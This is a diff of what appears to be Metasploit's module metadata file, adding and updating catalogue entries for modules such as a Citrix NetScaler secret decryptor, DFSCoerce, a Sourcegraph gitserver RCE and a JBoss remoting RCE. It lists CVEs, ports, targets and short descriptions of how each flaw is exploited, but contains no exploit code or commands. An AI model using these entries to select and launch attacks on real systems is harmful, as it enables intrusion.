"name": "Decrypt Citrix NetScaler Config Secrets",
"fullname": "auxiliary/admin/citrix/citrix_netscaler_config_decrypt",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-05-19",
"type": "auxiliary",
"author": [
"npm <npm@cesium137.io>"
],
"description": "This module takes a Citrix NetScaler ns.conf configuration file as\n input and extracts secrets that have been stored with reversible\n encryption. The module supports legacy NetScaler encryption (RC4)\n as well as the newer AES-256-ECB and AES-256-CBC encryption types.\n It is also possible to decrypt secrets protected by the Key\n Encryption Key (KEK) method, provided the key fragment files F1.key\n and F2.key are provided.",
"references": [
"URL-https://dozer.nz/posts/citrix-decrypt/",
"URL-https://www.ferroquesystems.com/resource/citrix-adc-security-kek-files/"
],
"platform": "BSD",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2022-07-13 08:36:18 +0000",
"path": "/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb",
"is_install_path": true,
"ref_name": "admin/citrix/citrix_netscaler_config_decrypt",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_admin/db2/db2rcmd": {
"name": "IBM DB2 db2rcmd.exe Command Execution Vulnerability",
"fullname": "auxiliary/admin/db2/db2rcmd",
@@ -537,6 +585,56 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_admin/dcerpc/samr_computer": {
"name": "SAMR Computer Management",
"fullname": "auxiliary/admin/dcerpc/samr_computer",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"JaGoTu",
"Spencer McIntyre"
],
"description": "Add, lookup and delete computer accounts via MS-SAMR. By default\n standard active directory users can add up to 10 new computers to the\n domain. Administrative privileges however are required to delete the\n created accounts.",
"references": [
"URL-https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py"
],
"platform": "",
"arch": "",
"rport": 445,
"autofilter_ports": [
139,
445
],
"autofilter_services": [
"netbios-ssn",
"microsoft-ds"
],
"targets": null,
"mod_time": "2022-06-28 11:53:05 +0000",
"path": "/modules/auxiliary/admin/dcerpc/samr_computer.rb",
"is_install_path": true,
"ref_name": "admin/dcerpc/samr_computer",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
],
"Stability": [
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_admin/dns/dyn_dns_update": {
"name": "DNS Server Dynamic Update Record Injection",
"fullname": "auxiliary/admin/dns/dyn_dns_update",
@@ -16894,11 +16992,13 @@
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Nixawk"
"Nixawk",
"e2002e",
"Christophe De La Fuente"
],
"description": "The module use the Censys REST API to access the same data\n accessible through web interface. The search endpoint allows searches\n against the current data in the IPv4, Top Million Websites, and\n Certificates indexes using the same search syntax as the primary site.",
"description": "The module uses the Censys REST API to access the same data accessible\n through the web interface. The search endpoint allows queries using\n the Censys Search Language against the Hosts dataset. Setting the\n CERTIFICATES option will also retrieve the certificate details for each\n relevant service by querying the Certificates dataset.",
"references": [
"URL-https://censys.io/api"
"URL-https://search.censys.io"
],
"platform": "",
"arch": "",
@@ -16910,7 +17010,7 @@
],
"targets": null,
"mod_time": "2021-01-28 10:35:25 +0000",
"mod_time": "2022-07-04 17:19:16 +0000",
"path": "/modules/auxiliary/gather/censys_search.rb",
"is_install_path": true,
"ref_name": "gather/censys_search",
@@ -16918,6 +17018,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
@@ -17197,7 +17306,8 @@
"disclosure_date": null,
"type": "auxiliary",
"author": [
"mekhalleh (RAMELLA Sébastien)"
"mekhalleh (RAMELLA Sébastien)",
"Yvain"
],
"description": "This module can be useful if you need to test the security of your server and your\n website behind a solution Cloud based. By discovering the origin IP address of the\n targeted host.\n\n More precisely, this module uses multiple data sources (in order ViewDNS.info, DNS enumeration\n and Censys) to collect assigned (or have been assigned) IP addresses from the targeted site or domain\n that uses the following:\n * Cloudflare, Amazon CloudFront, ArvanCloud, Envoy Proxy, Fastly, Stackpath Fireblade,\n Stackpath MaxCDN, Imperva Incapsula, InGen Security (BinarySec EasyWAF), KeyCDN, Microsoft AzureCDN,\n Netlify and Sucuri.",
"references": [
@@ -17213,7 +17323,7 @@
"dns"
],
"targets": null,
"mod_time": "2022-03-10 18:03:35 +0000",
"mod_time": "2022-06-23 17:27:47 +0000",
"path": "/modules/auxiliary/gather/cloud_lookup.rb",
"is_install_path": true,
"ref_name": "gather/cloud_lookup",
@@ -19315,6 +19425,53 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/ldap_query": {
"name": "LDAP Query and Enumeration Module",
"fullname": "auxiliary/gather/ldap_query",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-05-19",
"type": "auxiliary",
"author": [
"Grant Willcox"
],
"description": "This module allows users to query an LDAP server using either a custom LDAP query, or\n a set of LDAP queries under a specific category. Users can also specify a JSON or YAML\n file containing custom queries to be executed using the RUN_QUERY_FILE action.\n If this action is specified, then QUERY_FILE_PATH must be a path to the location\n of this JSON/YAML file on disk.\n\n Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting\n the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES\n to a comma seperated string containing the list of attributes they are interested in obtaining\n from the results.\n\n As a third option can run one of several predefined queries by setting ACTION to the\n appropriate value. These options will be loaded from the ldap_queries_default.yaml file\n located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.\n\n All results will be returned to the user in table, CSV or JSON format, depending on the value\n of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter\n should multiple items exist within a single column.",
"references": [
],
"platform": "",
"arch": "",
"rport": 389,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2022-07-19 09:48:03 +0000",
"path": "/modules/auxiliary/gather/ldap_query.rb",
"is_install_path": true,
"ref_name": "gather/ldap_query",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/mantisbt_admin_sqli": {
"name": "MantisBT Admin SQL Injection Arbitrary File Read",
"fullname": "auxiliary/gather/mantisbt_admin_sqli",
@@ -19439,7 +19596,7 @@
],
"targets": null,
"mod_time": "2021-02-17 12:33:59 +0000",
"mod_time": "2022-06-22 19:44:53 +0000",
"path": "/modules/auxiliary/gather/memcached_extractor.rb",
"is_install_path": true,
"ref_name": "gather/memcached_extractor",
@@ -22199,6 +22356,48 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/dcerpc/dfscoerce": {
"name": "DFSCoerce",
"fullname": "auxiliary/scanner/dcerpc/dfscoerce",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Wh04m1001",
"xct_de",
"Spencer McIntyre"
],
"description": "Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.",
"references": [
"URL-https://github.com/Wh04m1001/DFSCoerce"
],
"platform": "",
"arch": "",
"rport": 445,
"autofilter_ports": [
139,
445
],
"autofilter_services": [
"netbios-ssn",
"microsoft-ds"
],
"targets": null,
"mod_time": "2022-06-30 17:38:30 +0000",
"path": "/modules/auxiliary/scanner/dcerpc/dfscoerce.rb",
"is_install_path": true,
"ref_name": "scanner/dcerpc/dfscoerce",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/dcerpc/endpoint_mapper": {
"name": "Endpoint Mapper Service Discovery",
"fullname": "auxiliary/scanner/dcerpc/endpoint_mapper",
@@ -22344,7 +22543,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2022-01-31 13:50:19 +0000",
"mod_time": "2022-06-30 15:12:23 +0000",
"path": "/modules/auxiliary/scanner/dcerpc/petitpotam.rb",
"is_install_path": true,
"ref_name": "scanner/dcerpc/petitpotam",
@@ -22649,7 +22848,7 @@
],
"targets": null,
"mod_time": "2022-05-24 19:01:36 +0000",
"mod_time": "2022-07-08 09:56:51 +0000",
"path": "/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb",
"is_install_path": true,
"ref_name": "scanner/discovery/ipv6_neighbor",
@@ -38266,6 +38465,53 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/misc/freeswitch_event_socket_login": {
"name": "FreeSWITCH Event Socket Login",
"fullname": "auxiliary/scanner/misc/freeswitch_event_socket_login",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"krastanoel"
],
"description": "This module tests FreeSWITCH Event Socket logins on a range of\n machines and report successful attempts.",
"references": [
"URL-https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket"
],
"platform": "",
"arch": "",
"rport": 8021,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2022-07-01 12:22:31 +0000",
"path": "/modules/auxiliary/scanner/misc/freeswitch_event_socket_login.rb",
"is_install_path": true,
"ref_name": "scanner/misc/freeswitch_event_socket_login",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-restarts"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/misc/ib_service_mgr_info": {
"name": "Borland InterBase Services Manager Information",
"fullname": "auxiliary/scanner/misc/ib_service_mgr_info",
@@ -66602,6 +66848,70 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/sourcegraph_gitserver_sshcmd": {
"name": "Sourcegraph gitserver sshCommand RCE",
"fullname": "exploit/linux/http/sourcegraph_gitserver_sshcmd",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-02-18",
"type": "exploit",
"author": [
"Altelus1",
"Spencer McIntyre"
],
"description": "A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute\n arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can\n then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a\n feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the\n commands that are able to be executed through the git exec REST API.",
"references": [
"CVE-2022-23642",
"URL-https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9",
"URL-https://github.com/Altelus1/CVE-2022-23642"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 3178,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic",
"Unix Command",
"Linux Dropper"
],
"mod_time": "2022-07-11 09:48:08 +0000",
"path": "/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb",
"is_install_path": true,
"ref_name": "linux/http/sourcegraph_gitserver_sshcmd",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/spark_unauth_rce": {
"name": "Apache Spark Unauthenticated Command Execution",
"fullname": "exploit/linux/http/spark_unauth_rce",
@@ -73335,7 +73645,7 @@
"description": "This module exploits a buffer overflow in the RTSP request parsing\n code of Hikvision DVR appliances. The Hikvision DVR devices record\n video feeds of surveillance cameras and offer remote administration\n and playback of recorded footage.\n\n The vulnerability is present in several models / firmware versions\n but due to the available test device this module only supports\n the DS-7204 model.",
"references": [
"CVE-2014-4880",
"URL-https://www.rapid7.com/blog/post/2014/11/19/r7-2014-18-hikvision-dvr-devices--multiple-vulnerabilities"
"URL-https://www.rapid7.com/blog/post/2014/11/19/r7-2014-18-hikvision-dvr-devices-multiple-vulnerabilities"
],
"platform": "Linux",
"arch": "armle",
@@ -73350,7 +73660,7 @@
"DS-7204 Firmware V2.2.10 build 131009",
"Debug Target"
],
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-06-22 15:49:43 +0000",
"path": "/modules/exploits/linux/misc/hikvision_rtsp_bof.rb",
"is_install_path": true,
"ref_name": "linux/misc/hikvision_rtsp_bof",
@@ -81777,7 +82087,7 @@
"Daniil Dmitriev",
"Dmitry (rrock) Shchannikov"
],
"description": "Widget Connector Macro is part of Atlassian Confluence Server and Data Center that\n allows embed online videos, slideshows, photostreams and more directly into page.\n A _template parameter can be used to inject remote Java code into a Velocity template,\n and gain code execution. Authentication is unrequired to exploit this vulnerability.\n By default, Java payload will be used because it is cross-platform, but you can also\n specify which native payload you want (Linux or Windows).\n\n Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version\n 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.\n\n This vulnerability was originally discovered by Daniil Dmitriev\n https://twitter.com/ddv_ua.",
"description": "Widget Connector Macro is part of Atlassian Confluence Server and Data Center that\n allows embed online videos, slideshows, photostreams and more directly into page.\n A _template parameter can be used to inject remote Java code into a Velocity template,\n and gain code execution. Authentication is unrequired to exploit this vulnerability.\n By default, Java payload will be used because it is cross-platform, but you can also\n specify which native payload you want (Linux or Windows).\n\n Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version\n 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.\n\n This vulnerability was originally discovered by Daniil Dmitriev\n https://twitter.com/ddv_ua.",
"references": [
"CVE-2019-3396",
"URL-https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html",
@@ -81807,7 +82117,7 @@
"Windows",
"Linux"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-07-01 08:43:47 +0000",
"path": "/modules/exploits/multi/http/confluence_widget_connector.rb",
"is_install_path": true,
"ref_name": "multi/http/confluence_widget_connector",
@@ -81815,6 +82125,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": true
@@ -87842,7 +88162,7 @@
"PHPMailer <5.2.18",
"PHPMailer 5.2.18 - 5.2.19"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-06-29 12:24:29 +0000",
"path": "/modules/exploits/multi/http/phpmailer_arg_injection.rb",
"is_install_path": true,
"ref_name": "multi/http/phpmailer_arg_injection",
@@ -90516,7 +90836,7 @@
"Windows Universal",
"Linux Universal"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-06-29 19:10:52 +0000",
"path": "/modules/exploits/multi/http/struts_code_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/struts_code_exec",
@@ -90634,7 +90954,7 @@
"Linux Universal",
"Java Universal"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-06-29 19:10:52 +0000",
"path": "/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb",
"is_install_path": true,
"ref_name": "multi/http/struts_code_exec_exception_delegator",
@@ -95258,6 +95578,59 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/misc/jboss_remoting_unified_invoker_rce": {
"name": "JBOSS EAP/AS Remoting Unified Invoker RCE",
"fullname": "exploit/multi/misc/jboss_remoting_unified_invoker_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-12-11",
"type": "exploit",
"author": [
"Joao Matos <@joaomatosf>",
"Marcio Almeida <@marcioalm>",
"Heyder Andrade <@HeyderAndrade>"
],
"description": "An unauthenticated attacker with network access to the JBOSS\n EAP/AS <= 6.x Remoting Unified Invoker interface can send a\n serialized object to the interface to execute code on vulnerable hosts.",
"references": [
"URL-https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 4446,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Unix Command",
"Linux Dropper"
],
"mod_time": "2022-07-12 09:08:19 +0000",
"path": "/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb",
"is_install_path": true,
"ref_name": "multi/misc/jboss_remoting_unified_invoker_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/misc/legend_bot_exec": {
"name": "Legend Perl IRC Bot Remote Code Execution",
"fullname": "exploit/multi/misc/legend_bot_exec",
@@ -95463,7 +95836,7 @@
"Linux",
"Windows"
],
"mod_time": "2021-08-27 17:15:33 +0000",
"mod_time": "2022-06-28 17:02:51 +0000",
"path": "/modules/exploits/multi/misc/nomad_exec.rb",
"is_install_path": true,
"ref_name": "multi/misc/nomad_exec",
@@ -95474,11 +95847,11 @@
"Stability": [
"crash-safe"
],
"Reliability": [
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"SideEffects": [
"Reliability": [
"repeatable-session"
]
},
@@ -95988,9 +96361,9 @@
"author": [
"Andres Rodriguez - 2Secure (@acamro) <acamro@gmail.com>"
],
"description": "An unauthenticated attacker with network access to the Oracle Weblogic Server T3\n interface can send a malicious SOAP request to the interface WLS AsyncResponseService\n to execute code on the vulnerable host.",
"description": "An unauthenticated attacker with network access to the Oracle Weblogic Server T3\n interface can send a malicious SOAP request to the interface WLS AsyncResponseService\n to execute code on the vulnerable host.",
"references": [
"CVE-2017-10271",
"CVE-2019-2725",
"CNVD-C-2019-48814",
"URL-http://www.cnvd.org.cn/webinfo/show/4999",
"URL-https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html",
@@ -96019,7 +96392,7 @@
"Windows",
"Solaris"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-07-07 18:05:56 +0000",
"path": "/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb",
"is_install_path": true,
"ref_name": "multi/misc/weblogic_deserialize_asyncresponseservice",
@@ -96027,6 +96400,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": null
@@ -103105,7 +103487,7 @@
"Erik de Jong",
"Erik Wynter"
],
"description": "This module exploits LFI and log poisoning vulnerabilities\n (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a\n build-242466 and older in order to achieve unauthenticated remote\n code execution as the root user. NetConfig is the Aerohive/Extreme\n Networks HiveOS administrative webinterface. Vulnerable versions\n allow for LFI because they rely on a version of PHP 5 that is\n vulnerable to string truncation attacks. This module leverages this\n issue in conjunction with log poisoning to gain RCE as root.\n\n Upon successful exploitation, the Aerohive NetConfig application\n will hang for as long as the spawned shell remains open. Closing\n the session should render the app responsive again.\n\n The module provides an automatic cleanup option to clean the log.\n However, this option is disabled by default because any modifications\n to the /tmp/messages log, even via sed, may render the target\n (temporarily) unexploitable. This state can last over an hour.\n\n This module has been successfully tested against Aerohive NetConfig\n versions 8.2r4 and 10.0r7a.",
"description": "This module exploits LFI and log poisoning vulnerabilities\n (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a\n build-242466 and older in order to achieve unauthenticated remote\n code execution as the root user. NetConfig is the Aerohive/Extreme\n Networks HiveOS administrative webinterface. Vulnerable versions\n allow for LFI because they rely on a version of PHP 5 that is\n vulnerable to string truncation attacks. This module leverages this\n issue in conjunction with log poisoning to gain RCE as root.\n\n Upon successful exploitation, the Aerohive NetConfig application\n may hang for as long as the spawned shell remains open. For the\n Linux target, the MeterpreterTryToFork option (enabled by default)\n will likely prevent this. If the app hangs, closing the session\n should render it responsive again.\n\n The module provides an automatic cleanup option to clean the log.\n However, this option is disabled by default because any modifications\n to the /tmp/messages log, even via sed, may render the target\n (temporarily) unexploitable. This state can last over an hour.\n\n This module has been successfully tested against Aerohive NetConfig\n versions 8.2r4 and 10.0r7a.",
"references": [
"CVE-2020-16152",
"URL-https://github.com/eriknl/CVE-2020-16152"
@@ -103132,7 +103514,7 @@
"Linux",
"CMD"
],
"mod_time": "2021-11-02 19:58:16 +0000",
"mod_time": "2022-07-01 06:15:13 +0000",
"path": "/modules/exploits/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.rb",
"is_install_path": true,
"ref_name": "unix/webapp/aerohive_netconfig_lfi_log_poison_rce",
@@ -111373,7 +111755,7 @@
"targets": [
"Windows Universal"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-06-29 19:10:52 +0000",
"path": "/modules/exploits/windows/antivirus/ams_xfr.rb",
"is_install_path": true,
"ref_name": "windows/antivirus/ams_xfr",
@@ -137047,7 +137429,7 @@
"targets": [
"Windows Universal"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-06-29 19:10:52 +0000",
"path": "/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb",
"is_install_path": true,
"ref_name": "windows/http/ca_totaldefense_regeneratereports",
@@ -143800,7 +144182,7 @@
"targets": [
"Windows Universal"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-06-29 19:10:52 +0000",
"path": "/modules/exploits/windows/http/osb_uname_jlist.rb",
"is_install_path": true,
"ref_name": "windows/http/osb_uname_jlist",
@@ -146667,7 +147049,7 @@
"author": [
"hdm <x@hdm.io>"
],
"description": "This exploits a buffer overflow in the request processor of\n the Internet Printing Protocol ISAPI module in IIS. This\n module works against Windows 2000 service pack 0 and 1. If\n the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
"description": "This exploits a buffer overflow in the request processor of the\n Internet Printing Protocol ISAPI module in IIS. This module\n works against Windows 2000 Server and Professional SP0-SP1.\n\n If the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
"references": [
"CVE-2001-0241",
"OSVDB-3323",
@@ -146676,18 +147058,43 @@
"URL-https://seclists.org/lists/bugtraq/2001/May/0005.html"
],
"platform": "Windows",
"arch": "",
"arch": "x86",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows 2000 English SP0-SP1"
"Windows 2000 SP0-SP1 (Arabic)",
"Windows 2000 SP0-SP1 (Czech)",
"Windows 2000 SP0-SP1 (Chinese)",
"Windows 2000 SP0-SP1 (Dutch)",
"Windows 2000 SP0-SP1 (English)",
"Windows 2000 SP0-SP1 (French)",
"Windows 2000 SP0-SP1 (Finnish)",
"Windows 2000 SP0-SP1 (German)",
"Windows 2000 SP0-SP1 (Korean)",
"Windows 2000 SP0-SP1 (Hungarian)",
"Windows 2000 SP0-SP1 (Italian)",
"Windows 2000 SP0-SP1 (Portuguese)",
"Windows 2000 SP0-SP1 (Spanish)",
"Windows 2000 SP0-SP1 (Swedish)",
"Windows 2000 SP0-SP1 (Turkish)",
"Windows 2000 Pro SP0 (Greek)",
"Windows 2000 Pro SP1 (Greek)"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-07-09 01:36:10 +0000",
"path": "/modules/exploits/windows/iis/ms01_023_printer.rb",
"is_install_path": true,
"ref_name": "windows/iis/ms01_023_printer",
@@ -146695,6 +147102,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-service-down"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
@@ -146711,7 +147127,7 @@
"author": [
"jduck <jduck@metasploit.com>"
],
"description": "This module will execute an arbitrary payload on a Microsoft IIS installation\n that is vulnerable to the CGI double-decode vulnerability of 2001.\n\n NOTE: This module will leave a metasploit payload in the IIS scripts directory.",
"description": "This module will execute an arbitrary payload on a Microsoft IIS installation\n that is vulnerable to the CGI double-decode vulnerability of 2001.\n\n This module has been tested successfully on:\n\n Windows 2000 Professional (SP0) (EN);\n Windows 2000 Professional (SP1) (AR);\n Windows 2000 Professional (SP1) (CZ);\n Windows 2000 Server (SP0) (FR);\n Windows 2000 Server (SP1) (EN); and\n Windows 2000 Server (SP1) (SE).\n\n Note: This module will leave a Metasploit payload exe in the IIS scripts directory.",
"references": [
"CVE-2001-0333",
"OSVDB-556",
@@ -146723,15 +147139,25 @@
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic"
"Windows (Dropper)",
"Windows (Command)"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-07-03 18:22:55 +0000",
"path": "/modules/exploits/windows/iis/ms01_026_dbldecode.rb",
"is_install_path": true,
"ref_name": "windows/iis/ms01_026_dbldecode",
@@ -146739,6 +147165,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
@@ -146840,7 +147276,7 @@
],
"rank": 300,
"disclosure_date": "2002-11-20",
"disclosure_date": "2002-11-02",
"type": "exploit",
"author": [
"aushack <patrick@osisecurity.com.au>"
@@ -146854,7 +147290,7 @@
"URL-http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html"
],
"platform": "Windows",
"arch": "",
"arch": "x86",
"rport": 80,
"autofilter_ports": [
80,
@@ -146872,9 +147308,18 @@
"https"
],
"targets": [
"Windows 2000 Pro English SP0"
"Windows 2000 Pro SP0-SP3 (English)",
"Windows 2000 Pro SP0 (Korean)",
"Windows 2000 Pro SP0 (Dutch)",
"Windows 2000 Pro SP0 (Finnish)",
"Windows 2000 Pro SP0 (Turkish)",
"Windows 2000 Pro SP0-SP1 (Greek)",
"Windows 2000 Pro SP1 (Arabic)",
"Windows 2000 Pro SP1 (Czech)",
"Windows 2000 Pro SP2 (French)",
"Windows 2000 Pro SP2 (Portuguese)"
],
"mod_time": "2017-11-09 03:00:24 +0000",
"mod_time": "2022-07-15 00:15:56 +0000",
"path": "/modules/exploits/windows/iis/ms02_065_msadc.rb",
"is_install_path": true,
"ref_name": "windows/iis/ms02_065_msadc",
@@ -146882,6 +147327,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-service-down"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
@@ -146898,15 +147352,16 @@
"author": [
"hdm <x@hdm.io>"
],
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against any service pack.",
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against SP0 to SP3.",
"references": [
"CVE-2003-0109",
"OSVDB-4467",
"BID-7116",
"PACKETSTORM-30939",
"MSB-MS03-007"
],
"platform": "Windows",
"arch": "",
"arch": "x86",
"rport": 80,
"autofilter_ports": [
80,
@@ -146926,7 +147381,7 @@
"targets": [
"Automatic Brute Force"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-07-07 20:31:57 +0000",
"path": "/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb",
"is_install_path": true,
"ref_name": "windows/iis/ms03_007_ntdll_webdav",
@@ -146934,6 +147389,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-service-down"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
@@ -146979,7 +147443,7 @@
"targets": [
"Automatic"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-06-29 19:10:52 +0000",
"path": "/modules/exploits/windows/iis/msadc.rb",
"is_install_path": true,
"ref_name": "windows/iis/msadc",
@@ -152981,7 +153445,7 @@
"targets": [
"Automatic"
],
"mod_time": "2021-09-08 21:56:02 +0000",
"mod_time": "2022-06-29 19:18:47 +0000",
"path": "/modules/exploits/windows/local/run_as.rb",
"is_install_path": true,
"ref_name": "windows/local/run_as",
@@ -154249,7 +154713,7 @@
"targets": [
"Windows 2003 (with tftp client available)"
],
"mod_time": "2021-09-08 21:56:02 +0000",
"mod_time": "2022-06-29 19:10:52 +0000",
"path": "/modules/exploits/windows/misc/altiris_ds_sqli.rb",
"is_install_path": true,
"ref_name": "windows/misc/altiris_ds_sqli",
@@ -159299,7 +159763,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-06-29 19:10:52 +0000",
"path": "/modules/exploits/windows/mssql/mssql_payload.rb",
"is_install_path": true,
"ref_name": "windows/mssql/mssql_payload",
@@ -162903,7 +163367,7 @@
"targets": [
"Windows 2000 SP2-SP4 + Windows XP SP0-SP1"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-07-10 00:07:26 +0000",
"path": "/modules/exploits/windows/smb/ms04_007_killbill.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms04_007_killbill",
@@ -204660,7 +205124,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-04-02 10:43:57 +0000",
